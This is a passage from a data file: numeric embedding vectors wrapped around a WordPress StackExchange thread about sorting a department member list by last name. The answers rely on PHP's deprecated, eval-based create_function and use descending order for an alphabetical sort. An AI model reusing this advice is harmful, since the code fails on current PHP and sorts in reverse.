0.039276123046875,
0.00896453857421875,
-0.0188140869140625,
0.00403594970703125,
0.0137786865234375,
0.051361083984375,
-0.021270751953125,
0.01187896728515625,
0.043243408203125,
0.07159423828125,
-0.01180267333984375,
-0.0269317626953125,
-0.019805908203125,
-0.057220458984375,
-0.01416778564453125,
0.042205810546875,
0.032012939453125,
-0.0269775390625,
-0.0252685546875,
-0.023681640625,
-0.0009059906005859375,
0.004497528076171875,
-0.029876708984375,
0.0104827880859375,
-0.0138092041015625,
0.0350341796875,
0.0207672119140625,
-0.021087646484375,
0.03582763671875,
0.027008056640625,
0.0258636474609375,
-0.03448486328125,
-0.01136016845703125,
-0.0006518363952636719,
0.054351806640625,
-0.0478515625,
-0.027801513671875,
0.06005859375,
-0.005580902099609375,
0.038482666015625,
-0.0012645721435546875,
-0.040069580078125,
0.0290679931640625,
0.01161956787109375,
0.06536865234375,
0.031402587890625,
-0.0160675048828125,
0.0088958740234375,
-0.04486083984375,
-0.0032405853271484375,
-0.00531768798828125,
-0.0179595947265625,
-0.0264129638671875,
-0.0183563232421875,
0.00502777099609375,
0.01332855224609375,
0.03814697265625,
0.0439453125,
-0.037017822265625,
0.01312255859375,
0.0022220611572265625,
0.01885986328125,
-0.007381439208984375,
0.08636474609375,
-0.0058746337890625,
0.031341552734375,
0.03961181640625,
0.036956787109375,
-0.030670166015625,
-0.013946533203125,
0.01242828369140625,
-0.0169525146484375,
-0.046875,
-0.013458251953125,
-0.01568603515625,
0.0094757080078125,
0.0400390625,
-0.006572723388671875,
-0.00955963134765625,
-0.005458831787109375,
0.0009355545043945312,
-0.0206146240234375,
0.0219268798828125,
-0.01427459716796875,
-0.033172607421875,
0.03863525390625,
-0.0087738037109375,
0.01364898681640625,
0.006626129150390625,
0.00848388671875,
-0.002231597900390625,
-0.0002601146697998047,
-0.005191802978515625,
0.019439697265625,
-0.006763458251953125,
0.0301055908203125,
0.0797119140625,
0.01247406005859375,
0.06610107421875,
0.0298309326171875,
0.032684326171875,
0.03497314453125,
-0.0031452178955078125,
0.009674072265625,
0.001461029052734375,
0.053741455078125,
-0.01206207275390625,
-0.0215301513671875,
0.021270751953125,
-0.02911376953125,
-0.0015630722045898438,
0.0209197998046875,
0.048553466796875,
-0.0212249755859375,
0.00046443939208984375,
0.0243072509765625,
-0.032745361328125,
-0.02996826171875,
0.012054443359375,
-0.037841796875,
-0.035308837890625,
0.034454345703125,
-0.043121337890625,
-0.007778167724609375,
0.01406097412109375,
-0.0097808837890625,
-0.00862884521484375,
-0.0013608932495117188,
0.06427001953125,
0.0211181640625,
0.026092529296875,
-0.0450439453125,
-0.0004031658172607422,
0.00449371337890625,
-0.04693603515625,
-0.00751495361328125,
-0.0038318634033203125,
0.0099334716796875,
-0.034912109375,
0.03271484375,
-0.04156494140625,
0.0579833984375,
0.04412841796875,
0.00473785400390625,
-0.00252532958984375,
0.03692626953125,
-0.01419830322265625,
0.013092041015625,
0.0084381103515625,
-0.0294189453125,
0.023162841796875,
-0.002643585205078125,
0.013427734375,
0.018798828125,
-0.0038166046142578125,
-0.0079345703125,
-0.0243988037109375,
-0.00418853759765625,
-0.0106201171875,
-0.04156494140625,
0.107177734375,
-0.0330810546875,
-0.0190887451171875,
0.0115966796875,
0.007045745849609375,
-0.013946533203125,
0.00916290283203125,
0.03912353515625,
-0.033599853515625,
-0.0266265869140625,
0.01800537109375,
-0.0310516357421875,
-0.0244140625,
-0.00732421875,
-0.0694580078125,
0.0970458984375,
0.01358795166015625,
0.055999755859375,
-0.00901031494140625,
0.038116455078125,
0.003429412841796875,
0.028228759765625,
-0.045135498046875,
0.06640625,
0.03057861328125,
0.01053619384765625,
-0.062225341796875,
-0.007801055908203125,
-0.01003265380859375,
0.0275421142578125,
0.050506591796875,
0.0135040283203125,
-0.032257080078125,
-0.0184783935546875,
0.0298614501953125,
0.03466796875,
-0.0148773193359375,
0.04132080078125,
0.0158233642578125,
0.06280517578125,
0.09613037109375,
-0.0784912109375,
0.025604248046875,
-0.0005426406860351562,
0.0204620361328125,
0.021026611328125,
0.0256500244140625,
0.027099609375,
0.0037364959716796875,
-0.01861572265625,
-0.0338134765625,
0.01226043701171875,
0.0301361083984375,
-0.036590576171875,
0.035247802734375,
0.00528717041015625,
0.044097900390625,
-0.051544189453125,
-0.05255126953125,
-0.013641357421875,
0.041168212890625,
0.018768310546875,
0.007442474365234375,
-0.01189422607421875,
0.01096343994140625,
0.036224365234375,
-0.0287322998046875,
-0.0164642333984375,
0.01488494873046875,
-0.016754150390625,
0.07354736328125,
0.0323486328125,
0.02960205078125,
-0.0169830322265625,
0.0689697265625,
0.03851318359375,
0.07366943359375,
-0.07476806640625,
-0.043060302734375,
0.0143585205078125,
0.0023021697998046875,
-0.01103973388671875,
0.023406982421875,
0.01123809814453125,
0.0435791015625,
0.06622314453125,
0.01117706298828125,
-0.0172271728515625,
0.00951385498046875,
0.056640625,
-0.003940582275390625,
-0.06103515625,
-0.00775146484375,
-0.011260986328125,
-0.047882080078125,
-0.0007333755493164062,
0.0364990234375,
0.07232666015625,
0.00835418701171875,
0.05474853515625,
-0.034637451171875,
-0.023773193359375,
0.0115966796875,
0.007808685302734375,
-0.004100799560546875,
-0.003139495849609375,
-0.0124053955078125,
-0.0274810791015625,
0.00843048095703125,
0.032562255859375,
0.0640869140625,
-0.0198974609375,
0.0174407958984375,
-0.016021728515625,
-0.0014181137084960938,
0.0068206787109375,
0.018524169921875,
-0.011138916015625,
0.0623779296875,
-0.0628662109375,
0.03350830078125,
-0.04010009765625,
-0.0173492431640625,
-0.02728271484375,
-0.0146331787109375,
0.006946563720703125,
-0.01096343994140625,
0.06451416015625,
-0.00516510009765625,
0.0379638671875,
0.057525634765625,
0.005039215087890625,
0.021270751953125,
0.01514434814453125,
-0.0438232421875,
0.011962890625,
-0.0157928466796875,
-0.06512451171875,
0.0206298828125,
0.0440673828125,
0.00036215782165527344,
-0.00923919677734375,
0.0214080810546875,
0.01161956787109375,
0.01514434814453125,
-0.020355224609375,
-0.0010347366333007812,
-0.00858306884765625,
0.03460693359375,
0.0032520294189453125,
-0.00363922119140625,
-0.0221710205078125,
-0.006427764892578125,
0.041748046875,
0.00858306884765625,
0.10968017578125,
-0.05206298828125,
0.015777587890625,
-0.03924560546875,
0.0060882568359375,
-0.0243682861328125,
-0.0265350341796875,
0.0216064453125,
0.016632080078125,
0.0024585723876953125,
-0.01335906982421875,
-0.01377105712890625,
0.005001068115234375,
0.0298309326171875,
-0.0194244384765625,
-0.0068817138671875,
-0.03570556640625,
0.028961181640625,
0.007663726806640625,
0.0325927734375,
-0.035247802734375,
-0.0341796875,
-0.07025146484375,
-0.03271484375,
0.043975830078125,
0.05340576171875,
0.03009033203125,
0.061431884765625,
-0.048980712890625,
-0.0244293212890625,
0.020355224609375,
-0.07855224609375,
-0.003658294677734375,
0.02471923828125,
-0.0007834434509277344,
0.007228851318359375,
0.028900146484375,
-0.01241302490234375,
0.00991058349609375,
0.032684326171875,
-0.0026397705078125,
0.032928466796875,
0.01399993896484375,
-0.023223876953125,
-0.05938720703125,
-0.001216888427734375,
-0.004795074462890625,
-0.0092926025390625,
-0.0184478759765625,
0.0091094970703125,
-0.047607421875,
-0.03466796875,
-0.01395416259765625,
-0.0292205810546875,
-0.00890350341796875,
0.0155487060546875,
-0.010894775390625,
-0.0257568359375,
-0.0044708251953125,
-0.0306396484375,
0.0269775390625,
-0.0010128021240234375,
-0.0219268798828125,
-0.00762939453125,
-0.004878997802734375,
0.005725860595703125,
-0.0230560302734375,
0.0298004150390625,
-0.001117706298828125,
0.020721435546875,
-0.06884765625,
0.0149993896484375,
-0.0123443603515625,
-0.01294708251953125,
-0.01971435546875,
0.04547119140625,
0.062347412109375,
-0.037750244140625,
-0.042083740234375,
0.01534271240234375,
0.033843994140625,
0.042510986328125,
0.00958251953125,
-0.039794921875,
0.01137542724609375,
-0.00376129150390625,
-0.0007338523864746094,
-0.042205810546875,
0.0188140869140625,
-0.06341552734375,
0.0073394775390625,
-0.0022335052490234375,
-0.026031494140625,
0.002223968505859375,
-0.0462646484375,
-0.0771484375,
0.09234619140625,
-0.020172119140625,
-0.035308837890625,
-0.044952392578125,
0.01995849609375,
0.0092926025390625,
-0.00318145751953125,
-0.01351165771484375,
-0.033203125,
-0.034698486328125,
0.00504302978515625,
0.011199951171875,
0.050506591796875,
-0.00861358642578125,
0.028106689453125,
-0.004055023193359375,
0.059722900390625,
0.048309326171875,
0.0244598388671875,
0.028350830078125,
-0.011810302734375,
0.004119873046875,
0.0202178955078125,
-0.057891845703125,
-0.041168212890625,
-0.032745361328125,
0.0204925537109375,
-0.015777587890625,
-0.06317138671875,
0.01409149169921875,
-0.0026378631591796875,
0.05718994140625,
0.01305389404296875,
0.0017538070678710938,
-0.031982421875,
0.0024738311767578125,
-0.022430419921875,
-0.0645751953125,
0.00948333740234375,
0.035400390625,
-0.03668212890625,
0.0283050537109375,
-0.00804901123046875,
0.0202178955078125,
-0.0232696533203125,
-0.04541015625,
0.0005784034729003906,
-0.035614013671875,
-0.0110321044921875,
0.0080108642578125,
0.0044708251953125,
-0.002532958984375,
0.08551025390625,
-0.0386962890625,
0.017669677734375,
0.0136260986328125,
0.0125579833984375,
0.05133056640625,
0.002471923828125,
-0.044219970703125,
0.018707275390625,
0.032379150390625,
0.01507568359375,
0.022003173828125,
-0.0021076202392578125,
0.0277557373046875,
0.0185546875,
-0.0294189453125,
0.00792694091796875,
0.01094818115234375,
0.00659942626953125,
-0.016387939453125,
0.0115814208984375,
0.0243072509765625,
0.0055084228515625,
0.0021343231201171875,
0.045654296875,
0.038055419921875,
-0.003772735595703125,
-0.042449951171875,
0.0030078887939453125,
-0.023284912109375,
-0.05657958984375,
-0.00775909423828125,
-0.0229644775390625,
-0.0543212890625,
-0.05230712890625,
0.00273895263671875,
-0.043212890625,
-0.030242919921875,
0.0233306884765625
] |
956a8d62930569e75cfb0fcede0b30c916965529
|
Wordpress Stackexchange
Q: How to order users alphabetically by their last name? I use the following shortcode and function to display members of some departments:
add_shortcode( 'list_of_members', 'members_listing' );
/* usage: [list_of_members department = 'psychology'] */
function members_listing( $department ) {
$members = get_users( array( 'meta_key' => 'department', 'meta_value' => $department ) );
echo '<ul>';
foreach ( $members as $member ) {
echo '<li>' . $member->first_name . ' ' . $member->last_name . '</li>';
}
echo '</ul>';
}
I'd like to order the users alphabetically by last_name. How can I do this?
I was inspired by this question/answer, but I do not understand it completely.
A: Why don't use built-in functionality of PHP?
Put the following line right before the foreach:
usort($members, create_function('$a, $b', 'return strnatcasecmp($a->last_name, $b->last_name);'));
References:
*
*usort
*create_function
*strnatcasecmp
|
Q: How to order users alphabetically by their last name? I use the following shortcode and function to display members of some departments:
add_shortcode( 'list_of_members', 'members_listing' );
/* usage: [list_of_members department = 'psychology'] */
function members_listing( $department ) {
$members = get_users( array( 'meta_key' => 'department', 'meta_value' => $department ) );
echo '<ul>';
foreach ( $members as $member ) {
echo '<li>' . $member->first_name . ' ' . $member->last_name . '</li>';
}
echo '</ul>';
}
I'd like to order the users alphabetically by last_name. How can I do this?
I was inspired by this question/answer, but I do not understand it completely.
A: Why don't use built-in functionality of PHP?
Put the following line right before the foreach:
usort($members, create_function('$a, $b', 'return strnatcasecmp($a->last_name, $b->last_name);'));
References:
*
*usort
*create_function
*strnatcasecmp
A: Add orderby=>last_name,order=>DESC in your get_users argument.
Hope this will help you.
$members = get_users( array( 'meta_key' => 'department', 'meta_value' => $department, 'orderby' => 'last_name', 'order' => 'DESC' ) );
A: I modified your function:
add_shortcode( 'list_of_members', 'members_listing' );
/* usage: [list_of_members department = 'psychology'] */
function members_listing( $department ) {
$members = get_users( array( 'meta_key' => 'department', 'meta_value' => $department, 'orderby' => 'last_name', 'order' => 'DESC' ) );
echo '<ul>';
foreach ( $members as $member ) {
echo '<li>' . $member->first_name . ' ' . $member->last_name . '</li>';
}
echo '</ul>';
}
Just added two more parameters two your arguments
|
wordpress
|
{
"language": "en",
"length": 230,
"provenance": "stackexchange_00019.jsonl.gz:436661",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112824"
}
|
[
0.0197601318359375,
0.0198211669921875,
-0.0215606689453125,
-0.0184783935546875,
0.0199737548828125,
-0.01043701171875,
0.0120697021484375,
-0.0280303955078125,
0.043670654296875,
0.0230255126953125,
0.0298004150390625,
-0.03350830078125,
-0.0065765380859375,
-0.0330810546875,
-0.050872802734375,
-0.007099151611328125,
0.032440185546875,
-0.00919342041015625,
0.02410888671875,
-0.0026340484619140625,
0.009368896484375,
0.01380157470703125,
0.0249481201171875,
-0.01012420654296875,
0.006702423095703125,
-0.01427459716796875,
0.087890625,
-0.025238037109375,
0.0184783935546875,
-0.034637451171875,
0.0223541259765625,
-0.0160675048828125,
0.0177764892578125,
-0.00882720947265625,
0.02734375,
0.0849609375,
0.038116455078125,
0.0014295578002929688,
0.0343017578125,
0.018463134765625,
0.022613525390625,
-0.0032329559326171875,
-0.050628662109375,
0.0243377685546875,
-0.0272674560546875,
-0.08392333984375,
0.057342529296875,
0.002384185791015625,
0.037384033203125,
0.0205230712890625,
0.0281982421875,
0.01021575927734375,
0.018768310546875,
-0.01303863525390625,
0.002735137939453125,
0.03436279296875,
-0.05438232421875,
0.0302581787109375,
0.014129638671875,
0.001979827880859375,
0.0016632080078125,
-0.00542449951171875,
0.01537322998046875,
-0.00020241737365722656,
-0.0215911865234375,
-0.01271820068359375,
-0.00469207763671875,
0.0145111083984375,
-0.006023406982421875,
-0.00738525390625,
0.0284271240234375,
0.0086822509765625,
0.01450347900390625,
0.0049896240234375,
0.00070953369140625,
-0.0141754150390625,
-0.00011116266250610352,
-0.0166473388671875,
0.029449462890625,
0.00214385986328125,
-0.047454833984375,
-0.03436279296875,
-0.0654296875,
-0.01251983642578125,
-0.00492095947265625,
0.012786865234375,
-0.0210418701171875,
0.0166168212890625,
0.0010309219360351562,
-0.004123687744140625,
-0.021453857421875,
-0.004886627197265625,
0.004749298095703125,
0.04254150390625,
-0.01201629638671875,
-0.01439666748046875,
0.0270538330078125,
0.07720947265625,
-0.032318115234375,
-0.039794921875,
0.01136016845703125,
-0.040924072265625,
-0.016265869140625,
-0.038909912109375,
-0.007801055908203125,
-0.0005688667297363281,
-0.003536224365234375,
-0.00852203369140625,
0.0105133056640625,
0.033111572265625,
-0.0149688720703125,
-0.024993896484375,
-0.044525146484375,
-0.042327880859375,
0.002155303955078125,
0.0237274169921875,
-0.0743408203125,
0.01251983642578125,
0.0110015869140625,
-0.0079193115234375,
0.01678466796875,
0.04852294921875,
-0.01105499267578125,
-0.0277557373046875,
-0.0153961181640625,
-0.003002166748046875,
-0.01483917236328125,
-0.0465087890625,
0.02056884765625,
0.016021728515625,
-0.0526123046875,
0.02008056640625,
0.0621337890625,
0.0153961181640625,
0.01210784912109375,
-0.0250701904296875,
-0.015380859375,
-0.050445556640625,
-0.013092041015625,
0.027679443359375,
-0.0153656005859375,
-0.019317626953125,
0.03900146484375,
-0.0258331298828125,
-0.019378662109375,
0.002300262451171875,
0.01306915283203125,
-0.0014085769653320312,
-0.0265655517578125,
-0.040008544921875,
-0.01401519775390625,
-0.021026611328125,
0.0140228271484375,
0.02301025390625,
-0.06365966796875,
0.0323486328125,
-0.0517578125,
-0.0008711814880371094,
-0.0227203369140625,
-0.0004649162292480469,
-0.003200531005859375,
-0.01806640625,
-0.0313720703125,
-0.060577392578125,
-0.043731689453125,
0.01103973388671875,
-0.026641845703125,
0.00200653076171875,
0.0102996826171875,
-0.0058746337890625,
0.0101318359375,
0.043731689453125,
0.07354736328125,
0.023712158203125,
0.0005931854248046875,
-0.0090789794921875,
-0.01497650146484375,
-0.023529052734375,
0.012908935546875,
0.01361083984375,
-0.012939453125,
-0.0201263427734375,
-0.00930023193359375,
0.015838623046875,
-0.055389404296875,
0.07000732421875,
-0.010894775390625,
0.05914306640625,
0.0307769775390625,
-0.0017805099487304688,
0.01129150390625,
0.03759765625,
-0.0136871337890625,
0.024444580078125,
0.0006670951843261719,
-0.0594482421875,
0.006832122802734375,
-0.016815185546875,
-0.00644683837890625,
0.004131317138671875,
0.0230712890625,
-0.020599365234375,
0.034912109375,
-0.0291595458984375,
0.01543426513671875,
-0.00897216796875,
-0.002674102783203125,
0.011871337890625,
0.009857177734375,
-0.017913818359375,
0.002346038818359375,
-0.0300750732421875,
-0.0195465087890625,
0.0042266845703125,
-0.031707763671875,
-0.0146484375,
-0.003337860107421875,
0.0085906982421875,
-0.0193328857421875,
0.009735107421875,
-0.022979736328125,
-0.018157958984375,
-0.0308837890625,
0.018890380859375,
0.026611328125,
-0.0232696533203125,
-0.0143585205078125,
-0.03594970703125,
-0.01383209228515625,
-0.003021240234375,
-0.042205810546875,
0.0306243896484375,
0.03009033203125,
0.060394287109375,
-0.031341552734375,
-0.0124664306640625,
-0.023651123046875,
0.007419586181640625,
-0.0025157928466796875,
0.032562255859375,
0.03240966796875,
0.05133056640625,
0.037933349609375,
0.047515869140625,
0.07745361328125,
0.0408935546875,
0.049652099609375,
-0.01654052734375,
-0.0115203857421875,
0.04803466796875,
-0.033172607421875,
0.064453125,
0.01605224609375,
0.0015974044799804688,
-0.01377105712890625,
0.053985595703125,
-0.010162353515625,
-0.00844573974609375,
0.008880615234375,
-0.0328369140625,
0.01309967041015625,
-0.08245849609375,
-0.029144287109375,
-0.02459716796875,
-0.00809478759765625,
-0.0265045166015625,
-0.004344940185546875,
-0.0173187255859375,
-0.0290985107421875,
-0.0178680419921875,
0.032562255859375,
-0.0003669261932373047,
-0.0203399658203125,
0.00858306884765625,
0.0024871826171875,
-0.00402069091796875,
-0.05047607421875,
0.0268096923828125,
-0.0083465576171875,
-0.009552001953125,
0.02264404296875,
0.034759521484375,
0.0333251953125,
0.00368499755859375,
0.0101165771484375,
-0.01085662841796875,
0.0168304443359375,
0.059051513671875,
-0.0382080078125,
-0.033233642578125,
0.0029144287109375,
0.0615234375,
-0.00634765625,
0.01139068603515625,
0.0249176025390625,
-0.0021839141845703125,
0.0457763671875,
-0.000675201416015625,
-0.0078582763671875,
-0.000843048095703125,
-0.01074981689453125,
0.043792724609375,
0.031494140625,
-0.05120849609375,
-0.0029277801513671875,
-0.01033782958984375,
-0.01262664794921875,
0.0046539306640625,
-0.00433349609375,
-0.044921875,
0.022674560546875,
0.08599853515625,
0.052337646484375,
0.043975830078125,
0.0428466796875,
-0.007965087890625,
0.01198577880859375,
0.062103271484375,
-0.056640625,
-0.113525390625,
-0.0124359130859375,
-0.02484130859375,
0.0294647216796875,
0.00811767578125,
-0.00902557373046875,
-0.019622802734375,
0.0276336669921875,
0.0188751220703125,
0.043792724609375,
-0.0096435546875,
-0.0291595458984375,
0.0038318634033203125,
-0.036834716796875,
-0.01335906982421875,
0.008056640625,
-0.01200103759765625,
0.0036983489990234375,
0.01100921630859375,
0.0012941360473632812,
-0.060211181640625,
-0.006046295166015625,
0.057098388671875,
-0.019012451171875,
-0.0128021240234375,
0.0004532337188720703,
-0.03839111328125,
0.01143646240234375,
-0.0044708251953125,
0.025970458984375,
0.0162353515625,
-0.006298065185546875,
0.006481170654296875,
0.00014090538024902344,
0.0007276535034179688,
0.036346435546875,
0.012725830078125,
-0.0211029052734375,
0.012359619140625,
0.031646728515625,
-0.034149169921875,
-0.02239990234375,
0.0269775390625,
-0.0084991455078125,
-0.037322998046875,
-0.0352783203125,
-0.01454925537109375,
-0.01410675048828125,
0.03289794921875,
-0.016571044921875,
0.030792236328125,
-0.057037353515625,
0.0292816162109375,
-0.058349609375,
0.00418853759765625,
0.00768280029296875,
0.071533203125,
0.0245361328125,
-0.0249176025390625,
-0.00580596923828125,
0.00502777099609375,
0.01247406005859375,
-0.01312255859375,
-0.001987457275390625,
-0.02288818359375,
-0.08624267578125,
0.0726318359375,
-0.021209716796875,
-0.0178375244140625,
-0.042449951171875,
-0.0306854248046875,
0.00957489013671875,
0.10223388671875,
-0.001506805419921875,
-0.017578125,
-0.022796630859375,
-0.0009918212890625,
-0.050140380859375,
0.006526947021484375,
-0.040679931640625,
0.00861358642578125,
-0.04052734375,
-0.01314544677734375,
0.0024852752685546875,
-0.020782470703125,
-0.02655029296875,
-0.006847381591796875,
-0.038360595703125,
-0.01983642578125,
0.0160064697265625,
-0.0016851425170898438,
0.026824951171875,
-0.0156707763671875,
0.016845703125,
-0.01065826416015625,
-0.0005054473876953125,
-0.014007568359375,
-0.08148193359375,
0.004852294921875,
-0.03863525390625,
0.0307464599609375,
0.00006908178329467773,
-0.005496978759765625,
-0.016082763671875,
0.033233642578125,
0.010498046875,
0.031219482421875,
0.0282745361328125,
0.00981903076171875,
0.0333251953125,
-0.00927734375,
0.0311126708984375,
-0.03033447265625,
0.00896453857421875,
-0.021484375,
-0.0283355712890625,
-0.00981903076171875,
-0.048736572265625,
-0.0022945404052734375,
-0.0208892822265625,
-0.03424072265625,
-0.00467681884765625,
-0.039276123046875,
-0.041961669921875,
0.049652099609375,
-0.0251617431640625,
0.0030040740966796875,
-0.0587158203125,
-0.044342041015625,
0.01476287841796875,
0.00267791748046875,
-0.00693511962890625,
0.01389312744140625,
0.038848876953125,
0.0124359130859375,
-0.016357421875,
-0.043609619140625,
-0.013153076171875,
0.024505615234375,
-0.014404296875,
0.0036182403564453125,
-0.02044677734375,
-0.0328369140625,
0.053466796875,
-0.040069580078125,
-0.01065826416015625,
0.024658203125,
-0.003360748291015625,
0.0196380615234375,
-0.048095703125,
0.025787353515625,
0.0251922607421875,
-0.033203125,
0.01898193359375,
0.024749755859375,
-0.034332275390625,
0.0016117095947265625,
0.027923583984375,
0.0313720703125,
-0.023284912109375,
-0.018463134765625,
-0.076904296875,
0.031890869140625,
-0.06689453125,
-0.032501220703125,
-0.022613525390625,
0.01690673828125,
-0.004581451416015625,
-0.0114288330078125,
-0.016937255859375,
0.002410888671875,
-0.00261688232421875,
0.0032367706298828125,
0.03204345703125,
-0.039215087890625,
-0.0100250244140625,
0.008636474609375,
-0.016998291015625,
0.1162109375,
0.028717041015625,
-0.024871826171875,
-0.004886627197265625,
-0.031494140625,
-0.01366424560546875,
-0.03302001953125,
-0.0166778564453125,
0.06488037109375,
0.03961181640625,
0.01751708984375,
0.02508544921875,
-0.07720947265625,
0.039947509765625,
-0.038787841796875,
0.05157470703125,
0.01470947265625,
-0.0102691650390625,
-0.0389404296875,
0.072265625,
-0.00836944580078125,
0.0157318115234375,
-0.01006317138671875,
0.020782470703125,
0.034515380859375,
0.004730224609375,
0.01264190673828125,
0.031280517578125,
-0.04315185546875,
0.02056884765625,
0.0016527175903320312,
-0.007419586181640625,
0.003398895263671875,
0.0121002197265625,
0.00814056396484375,
-0.01255035400390625,
-0.01375579833984375,
0.0179443359375,
0.00244903564453125,
-0.0020580291748046875,
0.0435791015625,
0.033172607421875,
-0.01263427734375,
-0.051727294921875,
-0.047332763671875,
0.0265655517578125,
-0.01551055908203125,
0.0164337158203125,
0.00009506940841674805,
0.01515960693359375,
0.0010595321655273438,
-0.0246734619140625,
-0.006000518798828125,
-0.035614013671875,
-0.01386260986328125,
-0.036651611328125,
-0.01496124267578125,
0.032379150390625,
-0.05023193359375,
-0.01422882080078125,
-0.0085906982421875,
-0.0231170654296875,
0.032257080078125,
-0.0115509033203125,
0.0194854736328125,
-0.031005859375,
0.005977630615234375,
-0.0194549560546875,
-0.003662109375,
0.0736083984375,
0.03155517578125,
-0.04718017578125,
0.0170440673828125,
-0.0283660888671875,
0.00109100341796875,
-0.00994873046875,
-0.020904541015625,
-0.0207977294921875,
-0.0201568603515625,
-0.00324249267578125,
-0.00020313262939453125,
-0.00835418701171875,
-0.04058837890625,
0.0211944580078125,
0.019439697265625,
0.004604339599609375,
-0.032989501953125,
-0.0143280029296875,
0.06927490234375,
0.01007080078125,
0.037445068359375,
0.00913238525390625,
0.03887939453125,
-0.00685882568359375,
-0.0112457275390625,
0.02093505859375,
-0.028472900390625,
-0.051513671875,
-0.0125579833984375,
-0.07049560546875,
-0.0082244873046875,
0.04412841796875,
-0.031036376953125,
0.0307769775390625,
0.0243377685546875,
0.02520751953125,
-0.00080108642578125,
-0.08294677734375,
0.029754638671875,
0.023406982421875,
0.005870819091796875,
-0.022705078125,
0.0013399124145507812,
-0.0125579833984375,
-0.06805419921875,
0.0902099609375,
0.017120361328125,
0.06451416015625,
-0.007297515869140625,
-0.052032470703125,
0.02899169921875,
0.015380859375,
0.01280975341796875,
0.01444244384765625,
-0.002132415771484375,
0.0242156982421875,
-0.01336669921875,
0.01145172119140625,
0.032867431640625,
0.00629425048828125,
0.0743408203125,
-0.007213592529296875,
-0.0194854736328125,
0.0105133056640625,
-0.042083740234375,
0.00962066650390625,
0.0277099609375,
0.051727294921875,
-0.046783447265625,
0.007068634033203125,
0.0251922607421875,
-0.014007568359375,
0.0023059844970703125,
-0.017974853515625,
-0.0002665519714355469,
-0.050048828125,
0.086181640625,
-0.042510986328125,
-0.008636474609375,
0.01383209228515625,
-0.0311126708984375,
-0.00502777099609375,
-0.007282257080078125,
0.035247802734375,
0.0005764961242675781,
0.0227508544921875,
-0.031005859375,
-0.035125732421875,
-0.00916290283203125,
-0.020904541015625,
0.03387451171875,
-0.00255584716796875,
-0.0050048828125,
-0.051910400390625,
0.00305938720703125,
0.017913818359375,
-0.038543701171875,
0.0350341796875,
-0.040435791015625,
0.0079193115234375,
0.0027561187744140625,
-0.0245361328125,
0.01328277587890625,
-0.0171051025390625,
-0.06939697265625,
0.053741455078125,
-0.02783203125,
-0.0382080078125,
-0.007328033447265625,
-0.0037097930908203125,
-0.0126495361328125,
0.006572723388671875,
-0.005767822265625,
-0.0224609375,
-0.01337432861328125,
0.07354736328125,
-0.0019006729125976562,
-0.034210205078125,
0.002628326416015625,
0.0675048828125,
-0.005054473876953125,
0.00615692138671875,
0.03814697265625,
-0.06597900390625,
-0.04638671875,
0.040924072265625,
-0.0307159423828125,
-0.038543701171875,
0.0088348388671875,
-0.0601806640625,
0.0295867919921875,
-0.04345703125,
0.0261383056640625,
-0.01447296142578125,
0.010772705078125,
0.02984619140625,
0.00946807861328125,
-0.0290679931640625,
0.056915283203125,
-0.0340576171875,
0.06243896484375,
-0.0887451171875,
-0.004817962646484375,
0.005199432373046875,
0.040618896484375,
-0.01824951171875,
0.0005507469177246094,
-0.05181884765625,
0.01233673095703125,
0.0389404296875,
0.052978515625,
0.038665771484375,
0.03131103515625,
-0.0094757080078125,
0.004711151123046875,
0.05035400390625,
0.022796630859375,
0.0487060546875,
0.0035877227783203125,
-0.051055908203125,
0.01169586181640625,
0.034149169921875,
0.022705078125,
-0.0281829833984375,
-0.037445068359375,
-0.052490234375,
-0.01082611083984375,
0.0285491943359375,
0.03857421875,
-0.01351165771484375,
0.0494384765625,
0.028717041015625,
-0.021636962890625,
-0.0711669921875,
-0.0176544189453125,
0.03466796875,
0.0097198486328125,
0.05438232421875,
0.039154052734375,
0.03411865234375,
0.0183868408203125,
-0.0007958412170410156,
0.0408935546875,
0.007328033447265625,
-0.046417236328125,
0.03790283203125,
0.055938720703125,
0.02099609375,
-0.0265655517578125,
-0.03619384765625,
0.09442138671875,
0.08343505859375,
-0.0296630859375,
-0.004161834716796875,
-0.0010309219360351562,
0.01415252685546875,
0.03900146484375,
-0.0323486328125,
0.019866943359375,
0.000024139881134033203,
0.00937652587890625,
-0.060638427734375,
-0.012969970703125,
0.044891357421875,
0.0230560302734375,
-0.01061248779296875,
-0.038543701171875,
-0.0015573501586914062,
-0.03460693359375,
-0.00032901763916015625,
0.0233917236328125,
0.0159759521484375,
0.0033664703369140625,
-0.045166015625,
0.045379638671875,
-0.0225372314453125,
0.011749267578125,
-0.0306549072265625,
0.00691986083984375,
-0.01491546630859375,
0.0132293701171875,
-0.053680419921875,
-0.01050567626953125,
-0.03387451171875,
0.049896240234375,
0.0242462158203125,
0.0106658935546875,
0.0172119140625,
0.00870513916015625,
-0.023101806640625,
0.0021724700927734375,
0.07318115234375,
-0.019287109375,
-0.004604339599609375,
-0.020751953125,
0.00939178466796875,
-0.0135498046875,
0.00838470458984375,
-0.00548553466796875,
0.06427001953125,
-0.0081787109375,
-0.032867431640625,
0.0301513671875,
-0.0131683349609375,
-0.009765625,
0.0207061767578125,
-0.0305328369140625,
0.03961181640625,
-0.0021305084228515625,
0.002941131591796875,
0.0173797607421875,
-0.04583740234375,
0.006298065185546875,
-0.0012197494506835938,
0.0242462158203125,
0.0160980224609375,
0.031280517578125,
0.03973388671875,
-0.08660888671875,
0.0294647216796875,
0.042816162109375,
0.026092529296875,
0.040191650390625,
-0.0036182403564453125,
-0.0204925537109375,
-0.043060302734375,
-0.00940704345703125,
-0.018096923828125,
-0.00275421142578125,
0.00670623779296875,
0.034332275390625,
0.0232696533203125,
0.0273590087890625,
-0.052581787109375,
-0.0450439453125,
-0.0017251968383789062,
-0.075927734375,
0.0947265625,
-0.0150604248046875,
-0.048492431640625,
0.0053863525390625,
0.0292816162109375,
0.00501251220703125,
0.04144287109375,
-0.03961181640625,
-0.0225830078125,
0.019744873046875,
0.01526641845703125,
-0.0021648406982421875,
0.03399658203125,
-0.01324462890625,
-0.0247344970703125,
-0.0093231201171875,
-0.002044677734375,
0.035675048828125,
0.06561279296875,
0.00787353515625,
0.006572723388671875,
-0.00125885009765625,
-0.052032470703125,
0.02423095703125,
-0.038482666015625,
0.042999267578125,
0.03106689453125,
0.0075225830078125,
-0.0019550323486328125,
-0.035858154296875,
-0.03399658203125,
0.0038356781005859375,
-0.01067352294921875,
-0.0106201171875,
-0.00911712646484375,
-0.038818359375,
0.0009245872497558594,
0.050872802734375,
0.039031982421875,
0.0254058837890625,
0.0134124755859375,
0.0220794677734375,
